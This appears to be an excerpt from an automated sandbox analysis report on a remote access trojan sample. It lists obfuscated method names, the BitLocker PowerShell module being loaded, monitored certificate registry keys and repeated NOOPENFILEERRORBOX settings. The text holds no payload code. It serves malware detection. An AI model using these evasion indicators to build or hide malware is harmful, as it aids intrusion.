Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, SWsSDUtWUdrnebBMgx.cs	High entropy of concatenated method names: 'lD3Whn0Z1F', 'aspWYDoNO2', 'GX0WduC6Ll', 'IiNWIKeBNx', 'FHfWfv6pcS', 'VPUWn9Q7Pk', 'ahTWMAbqTB', 's4nxmcUmE8', 'YJIx4w0xnH', 'UwOxvS9TaP'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, VAFL6yzLyY66jhx7II.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sGkWwZ9arc', 'G1YWjmyMK8', 'kKAWo1IBMc', 'cvMW8wpQR6', 'VJYWxyr4NC', 'sqEWWMu0HG', 'v41Wg8bRgB'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, GCbAElUGA7WyejW7Zv.cs	High entropy of concatenated method names: 'JafxIOnthq', 'JINxffbKro', 'KAuxOylFs1', 'uxWxnLC7WT', 'knbxM2iXXI', 'ha3xUls2WJ', 'XP0xu6VMLr', 'bxbx3SFssf', 'IejxP2pdKP', 'JFAxRIYVxq'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, KsKTQfhbw7oCRIK4yb.cs	High entropy of concatenated method names: 'ioT8PxqKy7', 'LVf8RWoy9H', 'ToString', 'wk48I9gA0l', 'Tpq8f9eKLb', 'T6g8O1oplt', 'ygL8neeNHs', 'UXv8MsyTtu', 'Yuc8UtPYoa', 'hyD8uKIIdk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.39b61d0.3.raw.unpack, OrhtwbropZ5iQ0Knjf.cs	High entropy of concatenated method names: 'CAZMDJm2RU', 'pspMfoEE2O', 'x4LMnQS8in', 'gKKMU4ga3E', 'jHPMuRRmig', 'U06nQrojBJ', 'XEqnLBEXa3', 'Lrwnm8Mc8Q', 'E29n46N3U4', 'SXtnvTiVGP'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, Ak4oG7NYOwJL1B3Iuo.cs	High entropy of concatenated method names: 'Dispose', 'F0rhvYhSpS', 'BZKtaTFUoY', 'aBbCCwJkeg', 'gaih2xC1jV', 'KYjhzvxbsW', 'ProcessDialogKey', 'jPEteJWMNK', 'O0xthrh3OH', 'FcFttJXbhu'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, Pwpj4xKLD3kV8kZye0j.cs	High entropy of concatenated method names: 'wPEWE6SbMT', 'uslWkxkB0r', 'hSrWSOUoa6', 'n4RW0nGPLj', 'vEUWbygdqZ', 'JSbWNHoIBn', 'Vy6WG9wceE', 'iHNWFShdT1', 'B9GW7ktRSW', 'BhZWT5TsKe'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, QQKot902G4vU2soPiv.cs	High entropy of concatenated method names: 'Y9swFsy4uZ', 'WDWw73mMZv', 'oq4wyHojME', 'FL5wahq1uZ', 'nUwwqJfBR9', 'hkywr3sQQX', 'Maow59y7b6', 'JpAwVEjvUK', 'yGaw6emi4y', 'AdywAVICE5'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, fVqBTE5GN24nXcJ2Na.cs	High entropy of concatenated method names: 'xmASv280U', 'Go40xB6Eh', 'EatNV6xUT', 'P2eGCEIcM', 'V9u79rU6F', 'r4KTM83qT', 'FgTiQiV2Ra2jAuMHGR', 'wDlSUsfffMW8lcUk99', 'O89xwP1pt', 'ahagBfkN3'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, lXmeKmPdTaDsuhOP4M.cs	High entropy of concatenated method names: 'SwnYDvtalp', 'NIEYItfRNB', 'OUcYf5LTs7', 'GcCYO0Ll1i', 'u1PYnyDgOU', 'fyAYMbGDj5', 'XUNYUuS1iB', 'gnLYujx09I', 'EqkY3HZssa', 'YCpYP4PLt2'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, LKGBl8HqPCBQXSKmTW.cs	High entropy of concatenated method names: 'FLC84FNOEw', 'iTJ82C93XZ', 'Ac8xeevVgg', 'cJVxh6qQvh', 'oRi8A1xxHV', 'mNw8KivQDA', 'zfn8Hgr5oo', 'XFJ8ixbuFp', 'uOf8X1vZxd', 'tBy8ZwbirW'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, Q534henmWuNmoyahwo.cs	High entropy of concatenated method names: 'pufj6qFkDU', 'lZwjKEp5ug', 'CGUjiJO4yv', 'hNhjX6kGuL', 'wSCjavQyKK', 'IA9jJF0BT2', 'pshjqDZbdN', 'BjGjrU7E6Q', 'Px9jsrivpa', 'f1Lj534ylg'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, bbPsGWxoYJLfpZBGIC.cs	High entropy of concatenated method names: 'm3fhUgYigO', 'btrhuvIqGx', 'mblhPuJtfn', 'giEhR2mI9O', 'A9XhjvrGJj', 'bljhouHeJQ', 'qFingUkohEIInRpeg4', 'WFTHoj6j8DU2oagbWC', 'sDlhhA2ptG', 'WxphY5Hl8L'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, YGEM2bi6LyVcTr1Cyx.cs	High entropy of concatenated method names: 'oI4UIZ19Pk', 'TLUUOhxHAD', 'wFKUMpAEgc', 'ymHM2bSSI7', 'YRpMzowZSw', 'OMSUe9f5pW', 'YwcUhMEyrw', 'CtIUtlwO7T', 'rjRUYP2gLQ', 'Ei1Udf8VUY'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, Se7yaxeobBMdUHx8Vi.cs	High entropy of concatenated method names: 'xlsfiruKIW', 'otofXgSOfo', 'MSefZjtCdT', 'l5VfcUHHVe', 'KqrfQHKqxe', 'vckfLKfQdl', 'h9rfmefTR8', 'ABVf4ofSFW', 'EIgfvXKmnO', 'xISf2C0jWG'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, kdj6WvMI01nxVHVla4.cs	High entropy of concatenated method names: 'CaKO0Wpvww', 'G3iONL7mng', 'FhDOF2hJFU', 'kedO7DK5YY', 'VZZOji9Axe', 'uKOOo2T4nq', 'gETO8YeqCV', 'HYtOxjopyH', 'iq3OWTLGeg', 'pCKOgrlCLk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, zXnonSyflm4XEq4w2O.cs	High entropy of concatenated method names: 'dGPUEpH5oP', 'cGCUkL7MB2', 'pQjUSkQNcC', 'PdWU0vhcPd', 'WtXUbcogrh', 'gjDUNPRFBX', 'i46UGKe2i6', 'ckoUFUKZy4', 'vUgU7h5cbo', 'UGpUTkjotR'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, EH2RCFfeaNraoXmPh4.cs	High entropy of concatenated method names: 'WXJxyC4fCR', 'DKdxaMmPhp', 'CY8xJYd0Hy', 'oJXxq0j0Ul', 'd5UxigqD5R', 'irWxrwtYeK', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, SWsSDUtWUdrnebBMgx.cs	High entropy of concatenated method names: 'lD3Whn0Z1F', 'aspWYDoNO2', 'GX0WduC6Ll', 'IiNWIKeBNx', 'FHfWfv6pcS', 'VPUWn9Q7Pk', 'ahTWMAbqTB', 's4nxmcUmE8', 'YJIx4w0xnH', 'UwOxvS9TaP'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, VAFL6yzLyY66jhx7II.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sGkWwZ9arc', 'G1YWjmyMK8', 'kKAWo1IBMc', 'cvMW8wpQR6', 'VJYWxyr4NC', 'sqEWWMu0HG', 'v41Wg8bRgB'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, GCbAElUGA7WyejW7Zv.cs	High entropy of concatenated method names: 'JafxIOnthq', 'JINxffbKro', 'KAuxOylFs1', 'uxWxnLC7WT', 'knbxM2iXXI', 'ha3xUls2WJ', 'XP0xu6VMLr', 'bxbx3SFssf', 'IejxP2pdKP', 'JFAxRIYVxq'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, KsKTQfhbw7oCRIK4yb.cs	High entropy of concatenated method names: 'ioT8PxqKy7', 'LVf8RWoy9H', 'ToString', 'wk48I9gA0l', 'Tpq8f9eKLb', 'T6g8O1oplt', 'ygL8neeNHs', 'UXv8MsyTtu', 'Yuc8UtPYoa', 'hyD8uKIIdk'
Source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3a17df0.1.raw.unpack, OrhtwbropZ5iQ0Knjf.cs	High entropy of concatenated method names: 'CAZMDJm2RU', 'pspMfoEE2O', 'x4LMnQS8in', 'gKKMU4ga3E', 'jHPMuRRmig', 'U06nQrojBJ', 'XEqnLBEXa3', 'Lrwnm8Mc8Q', 'E29n46N3U4', 'SXtnvTiVGP'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
